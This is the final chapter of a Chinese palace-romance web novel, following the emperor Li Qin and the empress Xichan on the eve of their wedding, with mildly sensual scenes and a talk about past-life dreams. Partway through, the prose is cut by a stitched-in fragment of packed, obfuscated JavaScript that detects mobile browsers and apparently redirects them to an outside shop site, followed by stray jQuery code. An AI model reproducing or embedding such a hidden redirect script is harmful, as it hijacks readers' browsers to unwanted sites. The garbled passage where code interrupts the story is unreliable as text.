107. 美人泪(正文完结)
作品:《榻上美人泪(重生)》 肇秋初九,帝王大婚,普天同庆。
前一日。
李覃早朝罢,领着一班人直奔昭华殿,周公公低头飞步跟着,见这去路,回头示意负责帝王朝服穿戴的侍人止步。
一向如此。宫中上下都知道的无形规矩,皇帝一应生活起居,凡是太监能干的,都妥妥当当,除此之外,宫女洒扫清理,分工明确,等级森严,若无传召,极少有人看见皇帝身影。
倒是昭华殿的人见得多些,原因无他,只皇帝日日跑,月月跑,但凡是生活起居,都与皇后娘娘同吃同住,换衣梳洗,皆由皇后照管,至于私下里怎么着来,那是帝王夫妻之间的私事,宫中上下,无人清楚实况。
只知每回他们如花似玉的大美人儿皇后陪帝王补觉罢,出来好一对儿璧人,一个丰神俊朗,龙姿生发,一个绝代姿容,艳冠群芳。娘娘那娇艳欲滴的红唇上,微肿泛着水光,昭华殿众人看了,反把天威忘三分,视之而羞。
李覃发觉,醋了半个月才肯不记仇。
他这一醋不要紧,直叫宫人胆战心惊又无奈。自古以来,都是后宫妃子争宠,他们这陛下倒好,比那些神仙妃子还能醋,反过来还要娘娘哄,后宫又空置,更无人打扰皇帝勤勤恳恳处理完政事去粘人了。
原先部分人以为是皇后善妒的,久而久之,直呼打脸,那些朝中有怨言皇后不能为皇室开枝散叶就罢,还叫皇帝守着她一人不贤惠的大臣,时日久了,也无奈看开,对他们这皇帝也很没话说。
恐帝王沉迷美色的,欲劝谏,奈何根本无懈可击,且他们发现根本没必要有这种担忧,皇帝勤于政事,宽仁孝化,又是个极有把握和能耐的明君。大臣上谏,若与帝王意见相佐,李覃以残暴起家,本就是揣着文明却极富血性的,有时恼起来,朝中人怀危惧。
若非皇后在其中周旋,抚慰帝王心,体恤大臣的“良药苦口”,建立起双方平静沟通的桥梁,他们又怎能使得忠言逆耳尽入君心,且依然行稳不招王厌?
帝王之清明,天下盛传,但皇后之功,亦功不可没。
渐渐的,宫里宫外一条心,大臣尽情献言生智,宫人整日不是瞧年轻帝王调戏美人儿,便是听昭华殿传出娇俏羞恼的骂声。渐渐的,受过皇后保全之恩,心怀感激的大臣道:“陛下未免太过分,娘娘辛苦。”
宫人更是早已想透看开,都死了入宫为妃做主子的心思,恪尽职守,终日无事闲坐,小日子过得滋润,上下其乐融融。
出乎意料的,她们这几届宫女赶上了好时候,遇上一位专情帝王,皇恩浩荡,与皇后商议了,不忍叫她们寂寞老死宫中,耗尽青春,下旨将一众大小宫女都放出宫去,有亲人来接便去,没法儿接的,发了盘缠活命费,自去外面立一番事业,做生意还是投靠亲戚,不加约束。
只留下昔日在李家服侍的一众人,这些老媪小厮婢女,大多是无了来处。又知根知底,更能体谅他虽为帝王,却愿与皇后携手一生的心意,周全有边界,自会不比寻常人。
偌大皇宫,转瞬空了七分。
热闹却不仅不减,反没了先前的沉闷,上上下下主仆齐心,共建家园。以小家映大家,亦不失另一种大家风采,何人敢言无皇家气派?
……
一进昭华殿,李覃抬手拦下宫人通传,没让周辛德等人跟着,自去殿中找人。
晞婵先已听见动静,迎了出来。
因李覃强烈要求,她并没行君妾之礼,只以“夫君”如常唤他,相处如同往日。
李覃把人揽了往里走,大掌握着那玉臂上下搓磨几下,侧眸过去一瞅,只见裙摆略长,拖在地上有碍行动,便蹲下身,亲手去帮她理那裙摆。
晞婵瞳孔一惊,忙红着脸往后一退,红唇抿着,低头不知所措地看着仰头茫然的男人。
女郎的裙摆,夫君帮理,虽说没甚怪处,只是三朝几代约定俗成的亲昵之态,即便不是初经人事的小姑娘,难免还会有些害羞。
何况他已是天下至尊,叫人看了,威严何来?
李覃低声笑了,看着她,嗓音沉沉:“不认人?”
晞婵不懂:“妾没有不认过夫君……”
不待听完,李覃不急不慢地站起,当即遵从内心把娇娇软软的人儿单臂扛了,宽大的黑金华丽朝服随着男人大步而动。晞婵在他肩上,仿佛在从上往下看悬崖。
“夫君夫君,放妾下来!”太高了,害怕。
李覃到床边将人放下,张开两臂,弯唇意味深长地看着她轻笑了声:“该换下朝服了。”
晞婵没想太多,前几回在李覃指导下将这朝服弄了个明白,今下差不多可算熟练,她走去将平常的衣袍取来,搁在一旁衣架上,站在他身前,伸手去褪那层层叠叠又很是华大的繁琐朝服。
她先把束紧劲腰的宽珠衣带解了。
扑鼻馨香钻入呼吸,李覃低眸睨着,心神忽醉,喉结终究还是悄悄滚动了下。
他蓦地抬手,自己动手,帮着她把朝服脱去。
便是如此,也有好一会儿才完。待晞婵去将最后一件挂上,李覃跟着一转,双臂将人儿从后抱住,低头埋在她颈间,有一下没一下弄着,一面两只骨节修长的大手灵活去解晞婵身前的系着的绸带,一面低沉哑道:“婚服可还喜欢?”
晞婵视线乱了,眼中水气浮动,肤若凝脂的美人儿把头往旁一瞥,面若杏花初露,风情万种,美艳不俗柔若柳儿,她轻轻搭上他的手臂,酥软嗓音稚气未脱:“喜欢……”
不管是大梁还是大随,皇室有定,帝后之婚服,不能错上半分尺寸,完工前每一步工序都有专门女官监制,动用成百上千的绣娘。成婚时,才可初穿。
李覃没吭声,只沉默些时,喘声笑道:“以为过了好几年,结果娇儿还未长大。”
晞婵咬唇没应,身后男人却使坏,故意叫她明白什么,又低下唇,徘徊在她耳边:“你遇上朕,朕那时便已是个成年男人了,大你七岁,正该是为娇儿遮风挡雨的年纪。”
“……夫君。”
“怎么了?告诉朕。”低笑从男人喉间如珠滚出。
晞婵说不出口,李覃却抱着她,并未去床上,而是在榻上,蒲团丢在地,晞婵膝着到他弄好的软垫上,跪趴在榻边,李覃压着,视线所能及处,一片混乱。
她掉下泪道:“妾还没说话呢。”
“那现在说。”
“夫君好凶。”
“……”
……
补觉过后,晞婵欲起,一向即使在黎明时分也说醒便醒的人,早朝从不懈怠,这次却赖着不起,抱着她懒洋洋的。
她眨了眨眼,没困意,有些无聊,便用指尖顺着近在咫尺的胸肌沟壑游走,他睡着,应该没感觉吧?晞婵觉得好玩,一路轻轻抚到男人腹部,那里肌肉块块分明,沿着凹线走,倒如规整的迷宫。
忽地,作乱的那只小手被一只大手圈住。
“好玩吗?”
男人嗓音哑哑的,貌似刚醒。
晞婵茫然一瞬,抬头,暖心问道:“夫君不困了?”
“……”
李覃看着她的眼神颇为无奈:“娇儿这样,怎么困?你教教朕。”
他本来也没多困。
晞婵弯眸一笑,自己蹭蹭找了个舒服的位置,抱紧行走的暖炉,秋晨冷,她怕冷。“夫君起来就不困了,还能用早膳。”
李覃心里热得慌,叫怀里小姑娘的亲昵慰抚得再不能更暖,流水般地一阵一阵冲击心跳。他忍不住一深叹,不住揽着玉肩,将她往怀里身上抱,似要抱进骨子里才能消解这无限情。
两人温存了有一会儿,李覃为着体贴,私语道:“可有不适之处?”
晞婵没回答,只是极轻地摇了摇头。顺着这话谈,李覃忽提起明日大婚,原按礼,今日他是不能来见她的,但他把大随礼法典命有司改了,为着不失祖宗之治,仅行此一回。
为这事儿,小姑娘还怪了他好久,毕竟这行为的确算不上明智。好在百姓只道他们伉俪情深,并未喷啐,群臣因他勤政靠谱,也睁一只眼闭一只眼,见只这一回,索性不拦了。
“难道你不想朕吗?”
晞婵脸一红,忙嫌痒地躲开他口息:“你好粘人呐。”
“朕这么做,是想陪着你。”
晞婵仰头亲在他下巴上,软声道:“谢谢夫君。只下次不要再这么做了,能得两心同,妾已经很开心了。”
李覃又喜又气,当即闹了她一通,语气威胁:“还有没有下次了?嗯?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049411|136885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“妾说错话了,夫君别恼。”晞婵咯咯直笑。
她扯了句话:“对了,妾昨日去给夫君送吃食,看见案上有一支断箭,不知是有什么重要来历吗?”
李覃想了一想,忽而沉默下来,盯着她看了半晌,才开言道:“朕多年前和孟获单挑时,从天而降的。”
“至于为何留着……”
他目光一顿,凝视着她的眼睛,慢慢发声:“朕好像用它杀过一个人。”
晞婵倏地一怔。
“一开始,朕的确对你有偏见,晞婵,你并不知道,从你来荆州那一日起,朕便有意无意地期待尽快赶回家中,和这个穆家女见上一面,看看她是否如他人所说的那般狠毒。”
“那样的话,”李覃话音一顿,抚上她的唇,凤眸微敛,“即使朕的噩梦中有人高喊‘穆女明贞’,即使梦境为真,也无所谓了,朕只是杀了一个祸国殃民的红颜祸水。”
“可惊惊,你不是。”
晞婵心乱了。
她轻轻抱住他,眼睛红了:“李覃。”
随侯李覃。
那个隔着一扇窗,一座屏风,威风凛凛攻破最后一道城墙的李覃,她只听过他的名字,从未见过他一面,只在死前有过匆匆一瞥。
那时他和现在一模一样的长相气势,对她来说,却只是一个从未见过面的陌生男人。
“所以朕发现梦中写赋的那个背影也是你时,真的怕了,害怕射杀你为真,你的结局,当真如此。”
“……”
“还记得李府红香院吗?”
“记得。”晞婵轻哼,咬他一口。弄得李覃大笑,好生又把人儿哄上一回。
他道:“以前你说好奇阁楼有无《洛神赋图》,其实朕有真迹,就在红香院挂着,不跟你坦诚相告,并非不舍割爱,只那幅画,是朕搜来的,因有二梦,一梦不知何人何意,唯有背影与赋。一梦便是你倒在地上,手下压着《洛神赋图》,虽看不清脸,但朕的耳边有人在喊‘穆家女’,故知是你。”
“所以才有意避开那样结局,没有将它拿出。”
晞婵思绪万千,默然半晌,仿若自言自语:“李覃……你是个枭雄,杀过多少敌人,为何唯独将我记得这么深呢?”
她只是茫然不解,可叹这命运的奇怪。
“可能是,你美得惊心动魄,让朕贪恋得魂不附体吧。”李覃半开玩笑半认真道,随即抱了晞婵,轻笑,漫不经心道,“梦终究是梦,管它做甚?虽会影响朕的心绪,到底都是假的。朕以为,是当初太恼你父亲,才梦见自己把他闺女杀了。”
晞婵若有所思,眼中好像豁然开朗。
他顿了顿,认真道:“你瞧,朕别说杀你,连打你都不舍得哩,你又何时写过赋呢?说来说去,不过是朕一场荒唐的梦。”
她忽然什么都想明白了。
解铃还须系铃人。裴度促使她放过自己,李覃终究将她心推到日光下。
“对,”她眉眼弯弯,看着眼前内心强大可靠的男人,笑出声来,“也是妾的一场梦,夫君却是真的。”两人抱得更紧了。
从此前尘一场梦,万般执念消散,终是天光大亮,着眼于当下。
晞婵抬起脑袋,从李覃激烈疯狂的亲抚下抽出神思,轻声娇滴滴地问。
“夫君,我们会永远相爱吗?”
假若前世,他们也会相爱,那样的结局,算什么呢?若非有来生,李覃不会知道,自己亲手残忍杀了这辈子最爱的女人,她也不会知道,原来那日殿外匆匆一瞥的男人,是自己的此生挚爱。
她忽然就明白一切了。
前世孟获口中那个李覃极尽宠爱的女郎,会是任何人。但他一生所爱,只会是她。
这是她一生中,最美的相见。
“会的。”
李覃弯唇一笑。
“未遇佳人,潦草姻缘,得遇惊惊,千里姻缘一线牵,仍觉人间值得。”
在那之后,李覃再未做过一次前梦。
夜晚陪伴他的,是香甜的美梦,与怀中紧紧依偎着他的娇儿。
待李覃睡沉,晞婵睁开眼,轻轻在男人唇上落下一吻。
“……”
缘因止此,梦醒时分。
……